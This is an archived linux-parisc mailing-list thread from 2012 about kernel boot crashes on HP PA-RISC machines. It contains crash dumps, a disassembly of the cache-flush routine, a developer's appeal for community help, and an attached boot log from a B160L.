getorder.h patch I now sent to you seperately as it doesn't have to do with 
the compile breakage itself.

Eike
--nextPart2476140.ODqGFRtFtZ
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.18 (GNU/Linux)

iEYEABECAAYFAk+sRLoACgkQXKSJPmm5/E4UtwCfSmH1eJ9pCsa/pPaQnGx3Tder
amwAoJ8y0oEj7uKnnJGgqPtVRJZsSB+v
=pV3S
-----END PGP SIGNATURE-----

--nextPart2476140.ODqGFRtFtZ--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vincent <vincent.stehle@laposte.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Fri, 11 May 2012 23:17:50 +0200
Lines: 110
Approved: news@gmane.org
Message-ID: <4FAD81FE.5010308@bergerie>
References: <4FA9975C.5060708@bergerie> <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl> <2075347.T446pQRFvO@donald.sf-tec.de> <4FABED84.2040401@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1336771629 6667 80.91.229.3 (11 May 2012 21:27:09 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 11 May 2012 21:27:09 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 11 23:27:08 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SSxMh-0000u1-TO
	for glpp-linux-parisc@plane.gmane.org; Fri, 11 May 2012 23:27:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1422670Ab2EKV1H (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 11 May 2012 17:27:07 -0400
Original-Received: from smtp4-g21.free.fr ([212.27.42.4]:51773 "EHLO smtp4-g21.free.fr"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1422649Ab2EKV1E (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 11 May 2012 17:27:04 -0400
Original-Received: from romuald.bergerie (unknown [82.228.252.113])
	by smtp4-g21.free.fr (Postfix) with ESMTP id C15C44C8046
	for <linux-parisc@vger.kernel.org>; Fri, 11 May 2012 23:26:54 +0200 (CEST)
Original-Received: by romuald.bergerie (Postfix, from userid 65534)
	id 77F19120041; Fri, 11 May 2012 23:17:52 +0200 (CEST)
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on romuald.bergerie
X-Spam-Level: 
X-Spam-Status: No, score=-0.8 required=5.0 tests=ALL_TRUSTED,FH_FROMEML_NOTLD
	autolearn=no version=3.3.1
Original-Received: from [127.0.0.1] (localhost [127.0.0.1])
	by romuald.bergerie (Postfix) with ESMTPS id D3C76120041;
	Fri, 11 May 2012 23:17:50 +0200 (CEST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.3) Gecko/20120329 Icedove/10.0.3
In-Reply-To: <4FABED84.2040401@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4360
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4360>

On 05/10/2012 06:32 PM, John David Anglin wrote:
(..)
> I asked where the crash occurred because PA 2.0 mnemonics are used in
> the tmpalias
> code.  On the other hand, if the failure occurs on the first flush
> instruction, the issue is likely
> in the TLB insert code in entry.S.

Hi John,

I think the crash occurs at the first 'fdc,m r1(ret0)', but I don't read
PA assembly that much, so you might want to cross-check by yourself :)
Here is the crash dump:

---
      _______________________________
     < Your System ate a SPARC! Gah! >
      -------------------------------
             \   ^__^
                 (__)\       )\/\
                  U  ||----w |
                     ||     ||
swapper (pid 1): Illegal instruction (code 8)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000000000000000000000000 Not tainted
r00-03  00000000 00000001 1019d550 105ebbc0
r04-07  00000000 00000017 16640000 ffeffff6
r08-11  0f2ff000 0f000000 00000001 fff00ff6
r12-15  1742c000 00000017 00000000 00000020
r16-19  00000000 00000043 1662f000 fffff000
r20-23  000005de 00118277 00000001 00000020
r24-27  00000000 00000000 0000bbc0 104f2000
r28-31  0f2ff000 00000001 17430600 102691d8
sr00-03  00000000 00000001 00000000 00000000
sr04-07  00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10100c10 10100c14
 IIR: 078112a0    ISR: 00000000  IOR: 0f2ff000
 CPU:        0   CR30: 17430000 CR31: 00000002
 ORIG_R28: 1662f000
 IAOQ[0]: flush_dcache_page_asm+0x28/0x7c
 IAOQ[1]: flush_dcache_page_asm+0x2c/0x7c
 RP(r2): __get_user_pages+0x2c8/0x370
Backtrace:
 [<1019d550>] __get_user_pages+0x2c8/0x370
 [<101bcf8c>] get_arg_page+0x5c/0x108
 [<101bd250>] copy_strings+0x114/0x25c
 [<101bd3b4>] copy_strings_kernel+0x1c/0x30
 [<101be78c>] do_execve+0x1f4/0x370
 [<101180a0>] sys_execve+0x44/0x70
 [<10103084>] __execve+0x20/0x34
 [<1012a224>] vprintk+0x39c/0x3f0
 [<1010e074>] printk+0x24/0x30
 [<101110cc>] init_post+0x6c/0x148
 [<105a1624>] kernel_init+0x218/0x250

Backtrace:
 [<1011329c>] die_if_kernel+0x138/0x1b0
 [<101134ec>] handle_interruption+0x1d8/0x6d8
 [<10104078>] intr_check_sig+0x0/0x34
 [<1018975c>] __alloc_pages_nodemask+0x1a4/0x688
---

And here is the disassembly of function flush_dcache_page_asm:

---
10100be8 <flush_dcache_page_asm>:
10100be8:       23 80 01 e0     ldil L%f000000,ret0
10100bec:       d3 5a 1b 07     extrw,u r26,24,25,r26
10100bf0:       d7 99 0c 0a     depw r25,31,22,ret0
10100bf4:       d7 80 1c 14     depwi 0,31,12,ret0
10100bf8:       07 80 12 00     pdtlb r0(ret0)
10100bfc:       20 39 c2 08     ldil L%104f2000,r1
10100c00:       48 21 00 b8     ldw 5c(r1),r1
10100c04:       d7 22 19 9f     depwi,z 1,19,1,r25
10100c08:       0b 3c 06 39     add ret0,r25,r25
10100c0c:       08 39 04 39     sub r25,r1,r25
10100c10:       07 81 12 a0     fdc,m r1(ret0)
10100c14:       07 81 12 a0     fdc,m r1(ret0)
10100c18:       07 81 12 a0     fdc,m r1(ret0)
10100c1c:       07 81 12 a0     fdc,m r1(ret0)
10100c20:       07 81 12 a0     fdc,m r1(ret0)
10100c24:       07 81 12 a0     fdc,m r1(ret0)
10100c28:       07 81 12 a0     fdc,m r1(ret0)
10100c2c:       07 81 12 a0     fdc,m r1(ret0)
10100c30:       07 81 12 a0     fdc,m r1(ret0)
10100c34:       07 81 12 a0     fdc,m r1(ret0)
10100c38:       07 81 12 a0     fdc,m r1(ret0)
10100c3c:       07 81 12 a0     fdc,m r1(ret0)
10100c40:       07 81 12 a0     fdc,m r1(ret0)
10100c44:       07 81 12 a0     fdc,m r1(ret0)
10100c48:       07 81 12 a0     fdc,m r1(ret0)
10100c4c:       83 3c 9f 7d     cmpb,<< ret0,r25,10100c10
<flush_dcache_page_asm+0x28>
10100c50:       07 81 12 a0     fdc,m r1(ret0)
10100c54:       00 00 04 00     sync
10100c58:       07 20 12 00     pdtlb r0(r25)
10100c5c:       e8 40 c0 00     bv r0(rp)
10100c60:       08 00 02 40     nop
---

Best regards,

V.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Sun, 13 May 2012 00:50:43 +0200
Lines: 1183
Approved: news@gmane.org
Message-ID: <4FAEE943.2030203@gmx.de>
References: <4FA9975C.5060708@bergerie> <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net> <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------000702020506000603020803"
X-Trace: dough.gmane.org 1336863062 18011 80.91.229.3 (12 May 2012 22:51:02 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 12 May 2012 22:51:02 +0000 (UTC)
Cc: Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 13 00:50:59 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1STL9N-0006Bx-80
	for glpp-linux-parisc@plane.gmane.org; Sun, 13 May 2012 00:50:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754396Ab2ELWu4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 12 May 2012 18:50:56 -0400
Original-Received: from mailout-de.gmx.net ([213.165.64.23]:51769 "HELO
	mailout-de.gmx.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with SMTP id S1753580Ab2ELWux (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 12 May 2012 18:50:53 -0400
Original-Received: (qmail invoked by alias); 12 May 2012 22:50:50 -0000
Original-Received: from p54AD1151.dip0.t-ipconnect.de (EHLO [192.168.178.20]) [84.173.17.81]
  by mail.gmx.net (mp001) with SMTP; 13 May 2012 00:50:50 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18jEq8cMXEjWn7Uo9rQovO3FG87+5pc9/tOsmMCuR
	TBnWIjGa4brZ21
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.17) Gecko/20110428 Fedora/3.1.10-1.fc13 Lightning/1.0b3pre Thunderbird/3.1.10
In-Reply-To: <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4362
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4362>

This is a multi-part message in MIME format.
--------------000702020506000603020803
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

On 05/10/2012 04:03 AM, John David Anglin wrote:
> On 9-May-12, at 5:14 PM, Vincent wrote:
>
>> On 05/09/2012 05:55 PM, John David Anglin wrote:
>>> Attached is an updated version.   It applies against 3.3.4.
>>
>> Thanks. It applies on v3.4-rc6 with no issue. However, it crashes at
>> boot in flush_dcache_page_asm.
>
>
> I want to make a general comment.
>
> The hp712/100 is an old machine.  There is no longer ANY support for
> parisc open source by HP.  If the parisc user community wants to continue
> to run current open source software, then it will have to work 
> together to
> achieve this goal.
>
> In this case, we need to figure out what is wrong with the tmpalias code
> on the hp712/100.
>
> Debian dropping hppa after the lenny release was a wake up call.  There
> is pressure on other fronts.  See for example the following thread,
> http://gcc.gnu.org/ml/gcc/2012-05/msg00093.html
>
> If accepted, it would mean the end of 32-bit GCC development for parisc,
> and therefore the end of parisc linux and netbsd systems.  More 
> specifically,
> it may be reasonable to drop support for PA 1.1 systems.  So, we need
> to hear why it is important to continue to try to maintain PA 1.1 
> systems.
>
> In general, I have found Debian package maintainers to be supportive
> of bug fixes for parisc.  Most packages still support parisc and build 
> without
> problems but there is some porting work that needs doing.  For example,
> mono has seriously rotted.  Without a viable userspace, there's not much
> point to maintaining the kernel.
>
> I applaud Mikulas for reviewing Rolf Eike's fixes for 3.4 and posting 
> them to the
> linux-kernel list.  Maintainers have personal time issues and can't 
> always be
> available.
>
> I have spent hundreds of hours building packages, working on GCC,
> binutils, glibc and kernel bugs over the past year.  I have pushed fixes
> upstream and back ported them as quickly as possible because it takes
> considerable time before the fixes start to percolate downstream.
>
> I have a project to restart a Debian buildd for parisc and help would be
> appreciated.  The key issue is help in reporting and analyzing package
> bugs. and informing the appropriate maintainers when there are problems.
>
> I posted a number of kernel work in progress patches to the linux-parisc
> list but nobody bothered to test them except for Vincent today.  All I 
> know
> at this point is my rp3440 is much more stable and runs twice as fast as
> it used to with my cache patch.  As such, it can keep up with unstable.
> This took hundreds of kernel builds and considerable long term testing.
>
> The problem with cache bugs is they are difficult.  The parisc 
> architecture
> and the linux requirements for cache routines are inadequately 
> documented.
> So, it has become a trial and error exercise.  This has always been the
> critical problem for parisc-linux and the code in cache.c reflects this.
>
> It is impossible for volunteers to run and maintain a broad range of
> hardware.  So, we need to focus on the hardware that is used and will
> continue to used over the next few years.  If users want support, then
> they need to be willing to help as well.

Hi Dave,

I have my machines now up and running again.

I tested upstream version (bcc62fb) and got on all my machines the same 
bug (same Kernel binary started on all):

Backtrace:
  [<1021dc3c>] mpage_readpages+0xf0/0x16c
  [<10257e88>] ext3_readpages+0x28/0x38
  [<101acb90>] __do_page_cache_readahead+0x1e0/0x27c
  [<101acc5c>] ra_submit+0x30/0x40
  [<101acee0>] ondemand_readahead+0xd0/0x26c

or

Backtrace:
  [<1021dc3c>] mpage_readpages+0xf0/0x16c
  [<10257e88>] ext3_readpages+0x28/0x38
  [<101acb90>] __do_page_cache_readahead+0x1e0/0x27c
  [<101acc5c>] ra_submit+0x30/0x40
  [<101acee0>] ondemand_readahead+0xd0/0x26c
  [<101ad1a8>] page_cache_sync_readahead+0x44/0x74
  [<101a38e4>] generic_file_aio_read+0x400/0x764
  [<101e243c>] do_sync_read+0xd4/0x130
  [<101e32f4>] vfs_read+0xac/0x158
  [<101ea47c>] kernel_read+0x40/0x5c
  [<101ea58c>] prepare_binprm+0xf4/0x130
  [<101eae3c>] do_execve+0x2b8/0x3a4
  [<1012199c>] sys_execve+0x64/0x94
  [<10104084>] __execve+0x20/0x34
  [<10136374>] vprintk+0x1e8/0x488
  [<101a83e8>] __free_pages+0x54/0x64


all logs attached for the 715/64, B160L and C3000 machines.

I'll test tomorrow your patch (but will try to update my binutils/gcc 
prior to that).

Helge




--------------000702020506000603020803
Content-Type: text/plain;
 name="b160L.log"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="b160L.log"

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).
Command line for kernel: 'HOME=/ root=/dev/sda3 pa64root=sda5 ip=bootp panic_timeout=60 console=ttyS0 TERM=vt102 palo_kernel=0/vmlinux'
Selected kernel: /vmlinux from partition 0
Warning: kernel name doesn't end with 32 or 64 -- Guessing... Choosing 32-bit kernelELF32 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 6647808 mediaptr 0x1000
Segment 1 load 007a0000 size 185472 mediaptr 0x658000
Segment 2 load 007ce000 size 145080 mediaptr 0x686000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Initializing cgroup subsys cpuset
Initializing cgroup subsys cpu
Linux version 3.4.0-rc6-32bit+ (deller@p100) (gcc version 4.3.3 (GCC) ) #7 Sat May 12 22:55:41 CEST 2012
unwind_init: start = 0x106a8000, end = 0x106ebdc0, entries = 17372
WARNING: Out of order unwind entry! 106a95c0 and 106a95d0
WARNING: Out of order unwind entry! 106a95d0 and 106a95e0
WARNING: Out of order unwind entry! 106aa090 and 106aa0a0
WARNING: Out of order unwind entry! 106aa0a0 and 106aa0b0
WARNING: Out of order unwind entry! 106aa110 and 106aa120
WARNING: Out of order unwind entry! 106aa120 and 106aa130
WARNING: Out of order unwind entry! 106aa140 and 106aa150
WARNING: Out of order unwind entry! 106aa150 and 106aa160
WARNING: Out of order unwind entry! 106aa160 and 106aa170
WARNING: Out of order unwind entry! 106aa170 and 106aa180
WARNING: Out of order unwind entry! 106aa180 and 106aa190
WARNING: Out of order unwind entry! 106aa190 and 106aa1a0
WARNING: Out of order unwind entry! 106aa1a0 and 106aa1b0
WARNING: Out of order unwind entry! 106aa1b0 and 106aa1c0
WARNING: Out of order unwind entry! 106aa1c0 and 106aa1d0
WARNING: Out of order unwind entry! 106aa1d0 and 106aa1e0
WARNING: Out of order unwind entry! 106aa1e0 and 106aa1f0
WARNING: Out of order unwind entry! 106aa1f0 and 106aa200
WARNING: Out of order unwind entry! 106aa210 and 106aa220
WARNING: Out of order unwind entry! 106aa220 and 106aa230
FP[0] enabled: Rev 1 Model 15
The 32-bit Kernel has started...
bootconsole [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 00005020 00000481 00000000 02020202 7794d7fe 100000f0 00000004 000000ba 000000ba
vers  00000008
CPUID vers 15 rev 8 (0x000001e8)
capabilities 0x2
model 9000/778/B160L
Total Memory: 128 MB
LED display at f0190001 registered
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 32512
Kernel command line: HOME=/ root=/dev/sda3 pa64root=sda5 ip=bootp panic_timeout=60 console=ttyS0 TERM=vt102 palo_kernel=0/vmlinux
PID hash table entries: 512 (order: -1, 2048 bytes)
Dentry cache hash table entries: 16384 (order: 4, 65536 bytes)
Inode-cache hash table entries: 8192 (order: 3, 32768 bytes)
allocated 262144 bytes of page_cgroup
please try 'cgroup_disable=memory' option if you don't want memory cgroups
Memory: 122356k/131072k available (4505k kernel code, 8716k reserved, 1964k data, 328k init)
virtual kernel memory layout:
    vmalloc : 0x00810000 - 0x0f000000   ( 231 MB)
    memory  : 0x10000000 - 0x18000000   ( 128 MB)
      .init : 0x107a0000 - 0x107f2000   ( 328 kB)
      .data : 0x10566690 - 0x107517b0   (1964 kB)
      .text : 0x10100000 - 0x10566690   (4505 kB)
NR_IRQS:96
Console: colour dummy device 128x48
Calibrating delay loop... 106.39 BogoMIPS (lpj=531968)
pid_max: default: 32768 minimum: 301
Mount-cache hash table entries: 512
Initializing cgroup subsys cpuacct
Initializing cgroup subsys memory
Initializing cgroup subsys devices
Initializing cgroup subsys freezer
Initializing cgroup subsys blkio
xor: measuring software checksum speed
   8regs     :   131.200 MB/sec
   8regs_prefetch:   130.800 MB/sec
   32regs    :   206.400 MB/sec
   32regs_prefetch:   206.000 MB/sec
xor: using function: 32regs (206.400 MB/sec)
atomic64 test passed
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. Phantom PseudoBC GSC+ Port at 0xffc00000 [8] { 7, 0x0, 0x504, 0x00000 }
2. Dino PCI Bridge at 0xfff80000 [8/0] { 13, 0x3, 0x680, 0x0000a }
3. Merlin+ 132 Dino RS-232 at 0xfff83000 [8/0/63] { 10, 0x0, 0x022, 0x0008c }
4. Merlin 160 Core FW-SCSI at 0xfff8c000 [8/12] { 4, 0x0, 0x03d, 0x00089 }
5. Merlin 160 Core BA at 0xffd00000 [8/16] { 11, 0x0, 0x03d, 0x00081 }, additional addresses: 0xffd0c000 0xffc00000 
6. Merlin 160 Core RS-232 at 0xffd05000 [8/16/4] { 10, 0x0, 0x03d, 0x0008c }
7. Merlin 160 Core SCSI at 0xffd06000 [8/16/5] { 10, 0x0, 0x03d, 0x00082 }
8. Merlin 160 Core LAN (802.3) at 0xffd07000 [8/16/6] { 10, 0x0, 0x03d, 0x0008a }
9. Merlin 160 Core Centronics at 0xffd02000 [8/16/0] { 10, 0x0, 0x03d, 0x00074 }, additional addresses: 0xffd01000 0xffd03000 
10. Merlin 160 Core Audio at 0xffd04000 [8/16/1] { 10, 0x4, 0x03d, 0x0007b }
11. Merlin 160 Core PS/2 Port at 0xffd08000 [8/16/7] { 10, 0x0, 0x03d, 0x00084 }
12. Merlin 160 Core PS/2 Port at 0xffd08100 [8/16/8] { 10, 0x0, 0x03d, 0x00084 }
13. Coral SGC Graphics at 0xfa000000 [8/4] { 10, 0x0, 0x004, 0x00077 }
14. Coral SGC Graphics at 0xf4000000 [8/8] { 10, 0x0, 0x004, 0x00077 }
15. Gecko GSC Core Graphics at 0xf8000000 [8/24] { 10, 0x0, 0x016, 0x00085 }, additional addresses: 0xf0011000 
16. Merlin L2 160 (9000/778/B160L) at 0xfffbe000 [62] { 0, 0x0, 0x502, 0x00004 }
17. Memory at 0xfffbf000 [63] { 1, 0x0, 0x067, 0x00009 }
18. Merlin+ 132 Dino PS/2 Port at 0xfff81000 [1] { 10, 0x0, 0x022, 0x00096 }
CPU(s): 1 x PA7300LC (PCX-L2) at 160.000000 MHz
Setting cache flush threshold to 920 (1 CPUs online)
Lasi version 0 at 0xffd00000 found.
Dino version 3.1 found at 0xfff80000
Dino: No PCI devices enabled.
dino 8:0: PCI host bridge to bus 0000:00
pci_bus 0000:00: root bus resource [io  0x0000-0xffff]
powersw: Soft power switch at 0xf0140000 enabled.
bio: create slab <bio-0> at 0
raid6: int32x1     59 MB/s
raid6: int32x2     72 MB/s
raid6: int32x4     89 MB/s
raid6: int32x8     49 MB/s
raid6: using algorithm int32x4 (89 MB/s)
vgaarb: loaded
SCSI subsystem initialized
usbcore: registered new interface driver usbfs
usbcore: registered new interface driver hub
usbcore: registered new device driver usb
Switching to clocksource cr16
NET: Registered protocol family 2
IP route cache hash table entries: 1024 (order: 0, 4096 bytes)
TCP established hash table entries: 4096 (order: 3, 32768 bytes)
TCP bind hash table entries: 4096 (order: 4, 81920 bytes)
TCP: Hash tables configured (established 4096 bind 4096)
TCP: reno registered
UDP hash table entries: 128 (order: 0, 6144 bytes)
UDP-Lite hash table entries: 128 (order: 0, 6144 bytes)
NET: Registered protocol family 1
RPC: Registered named UNIX socket transport module.
RPC: Registered udp transport module.
RPC: Registered tcp transport module.
RPC: Registered tcp NFSv4.1 backchannel transport module.
Enabling PDC chassis warnings support v0.05
Initializing RT-Tester: OK
====[ backtrace testing ]===========
Testing a backtrace from process context.
The following trace is a kernel self test and not a bug!
Backtrace:
 [<1011b070>] show_stack+0x18/0x28
 [<101148f8>] dump_stack+0x1c/0x2c
 [<10181098>] backtrace_regression_test+0x50/0x130
 [<10118eac>] do_one_initcall+0x54/0x284
 [<107a1abc>] kernel_init+0x1a8/0x270
 [<1010405c>] ret_from_kernel_thread+0x1c/0x24

Testing a backtrace from irq context.
The following trace is a kernel self test and not a bug!
Backtrace:
 [<1011b070>] show_stack+0x18/0x28
 [<101148f8>] dump_stack+0x1c/0x2c
 [<10181028>] backtrace_test_irq_callback+0x18/0x38
 [<1013b96c>] tasklet_action+0x80/0xe4
 [<1018ffc0>] rcu_process_callbacks+0x30/0x40
 [<1013c2e0>] __do_softirq+0x148/0x198
 [<1013c39c>] run_ksoftirqd+0x6c/0x120
 [<101174bc>] schedule+0x30/0x74
 [<101546f4>] kthread+0xac/0xb4
 [<1010405c>] ret_from_kernel_thread+0x1c/0x24

Testing a saved backtrace.
The following trace is a kernel self test and not a bug!
 [<10124bd4>] save_stack_trace+0x28/0x60
 [<10181140>] backtrace_regression_test+0xf8/0x130
 [<10118eac>] do_one_initcall+0x54/0x284
 [<107a1abc>] kernel_init+0x1a8/0x270
 [<1010405c>] ret_from_kernel_thread+0x1c/0x24
 [<ffffffff>] 0xffffffff
====[ end of backtrace testing ]====
VFS: Disk quotas dquot_6.5.2
Dquot-cache hash table entries: 1024 (order 0, 4096 bytes)
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
msgmni has been set to 238
io scheduler noop registered
io scheduler deadline registered
io scheduler cfq registered (default)
start plist test
end plist test
PDC Stable Storage facility v0.30
STI GSC/PCI core graphics driver Version 0.9a
    id 2bcb015a-9a02587, conforms to spec rev. 8.04
    graphics card name: HPA4071B
    id 2d08c0a7-9a02587, conforms to spec rev. 8.07
    graphics card name: HPA4450AX1024
    id 2d08c0a7-9a02587, conforms to spec rev. 8.07
    graphics card name: INTERNAL_EG_X1024
sticon: Initializing STI text console.
Console: switching to colour STI console 160x64
Console: switching to colour frame buffer device 160x64
fb0: stifb 1280x1024-32 frame buffer device, HPA4071B, id: 2bcb015a, mmio: 0xfa100000
fb1: stifb 1024x768-8 frame buffer device, HPA4450AX1024, id: 2d08c0a7, mmio: 0xf4100000
fb2: stifb 1024x768-8 frame buffer device, INTERNAL_EG_X1024, id: 2d08c0a7, mmio: 0xf8100000
Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
8:16:4: ttyS0 at MMIO 0xffd05800 (irq = 16) is a 16550A
console [ttyS0] enabled, bootconsole disabled
console [ttyS0] enabled, bootconsole disabled
8:0:63: ttyS1 at MMIO 0xfff83800 (irq = 22) is a 16550A
Linux agpgart interface v0.103
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xffd02800, irq 19 [PCSPP,TRISTATE]
parport0: fix this legacy no-device port driver!
brd: module loaded
loop: module loaded
Uniform Multi-Platform E-IDE driver
ide-gd driver 1.18
ide-cd driver 5.00
zalon_probe: Zalon version 1, IRQ 67
ncr53c720-0: rev 0xf irq 67
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
scsi0 : ncr53c8xx-3.4.3g
scsi 0:0:6:0: Direct-Access     SEAGATE  ST32171W         HP03 PQ: 0 ANSI: 2
scsi target0:0:6: Beginning Domain Validation
scsi target0:0:6: asynchronous
scsi target0:0:6: wide asynchronous
scsi target0:0:6: FAST-10 WIDE SCSI 20.0 MB/s ST (100 ns, offset 8)
scsi target0:0:6: Domain Validation skipping write tests
scsi target0:0:6: Ending Domain Validation
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi1: 53c710 rev 2 
scsi1 : LASI SCSI 53c700
scsi 1:0:1:0: CD-ROM            PHILIPS  PCA80SC          V3-0 PQ: 0 ANSI: 2
scsi target1:0:1: Beginning Domain Validation
scsi target1:0:1: asynchronous
scsi target1:0:1: FAST-10 SCSI 10.0 MB/s ST (100 ns, offset 8)
scsi target1:0:1: Domain Validation skipping write tests
scsi target1:0:1: Ending Domain Validation
st: Version 20101219, fixed bufsize 32768, s/g segs 256
sd 0:0:6:0: [sda] 4194685 512-byte logical blocks: (2.14 GB/2.00 GiB)
sd 0:0:6:0: [sda] Write Protect is off
sr0: scsi-1 drive
cdrom: Uniform CD-ROM driver Revision: 3.20
sd 0:0:6:0: [sda] Write cache: disabled, read cache: enabled, supports DPO and FUA
sd 0:0:6:0: Attached scsi generic sg0 type 0
sr 1:0:1:0: Attached scsi generic sg1 type 5
LASI 82596 driver - Revision: 1.30
Found i82596 at 0xffd07000, IRQ 18
eth0: 82596 at 0xffd07000, 08:00:09:ef:34:f5 IRQ 18.
ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
uhci_hcd: USB Universal Host Controller Interface driver
serio: gsc-ps2-keyboard port at 0x0081a000 irq 21 @ 8:16:7
serio: gsc-ps2-mouse port at 0x0081c100 irq 21 @ 8:16:8
 sda: sda1 sda2 sda3 < sda5 sda6 >
mousedev: PS/2 mouse device common for all mice
rtc-generic rtc-generic: rtc core: registered rtc-generic as rtc0
md: linear personality registered for level -1
md: raid0 personality registered for level 0
md: raid1 personality registered for level 1
md: raid10 personality registered for level 10
md: raid6 personality registered for level 6
md: raid5 personality registered for level 5
md: raid4 personality registered for level 4
device-mapper: uevent: version 1.0.3
sd 0:0:6:0: [sda] Attached SCSI disk
device-mapper: ioctl: 4.22.0-ioctl (2011-10-19) initialised: dm-devel@redhat.com
usbcore: registered new interface driver usbhid
usbhid: USB HID core driver
oprofile: using timer interrupt.
TCP: cubic registered
NET: Registered protocol family 17
rtc-generic rtc-generic: setting system clock to 1987-04-12 22:08:53 UTC (545263733)
Sending BOOTP requests . OK
IP-Config: Got BOOTP answer from 192.168.178.50, my address is 192.168.178.65
IP-Config: Complete:
     device=eth0, addr=192.168.178.65, mask=255.255.255.0, gw=192.168.178.1
     host=b160, domain=box, nis-domain=(none)
     bootserver=192.168.178.50, rootserver=192.168.178.50, rootpath=
md: Waiting for all devices to be available before autodetect
md: If you don't use raid, use raid=noautodetect
md: Autodetecting RAID arrays.
md: Scanned 0 and added 0 devices.
md: autorun ...
md: ... autorun DONE.
attempt to access beyond end of device
sda3: rw=0, want=4, limit=2
